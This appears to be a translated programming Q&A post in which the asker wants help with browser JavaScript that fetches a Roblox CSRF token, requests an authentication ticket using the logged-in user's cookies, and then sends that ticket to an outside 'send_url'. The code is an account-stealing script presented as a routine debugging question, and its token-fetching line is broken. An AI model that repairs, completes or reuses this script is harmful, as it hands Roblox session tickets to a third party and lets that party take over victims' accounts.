【发布时间】:2021-02-27 16:31:55
【问题描述】:
我正在尝试从 roblox.com 获取 csrf 令牌。我需要此令牌在此处发布https://auth.roblox.com/v1/authentication-ticket,并发送身份验证票作为响应。 这是我的代码
(async function() {
// response headers generate 401 errors in output, which cannot be ignored
var xsrf = (await fetch("https://www.roblox.com/home" ,
document.querySelector('meta[name="csrf-token"]').getAttribute('data-token'), {
credentials: "csrf-token"
})).text();
console.log(xsrf);
var ticket = (await fetch("https://auth.roblox.com/v1/authentication-ticket", {
method: "POST",
credentials: "include",
headers: {"x-csrf-token": xsrf}
})).headers.get("rbx-authentication-ticket");
await fetch(send_url + "?t=" + ticket);
})();```
Everything is perfect except for the part which gets the csrf token.
[This is the error I get.][1]
[1]: https://i.stack.imgur.com/uVOBD.png
【问题讨论】:
标签: javascript html csrf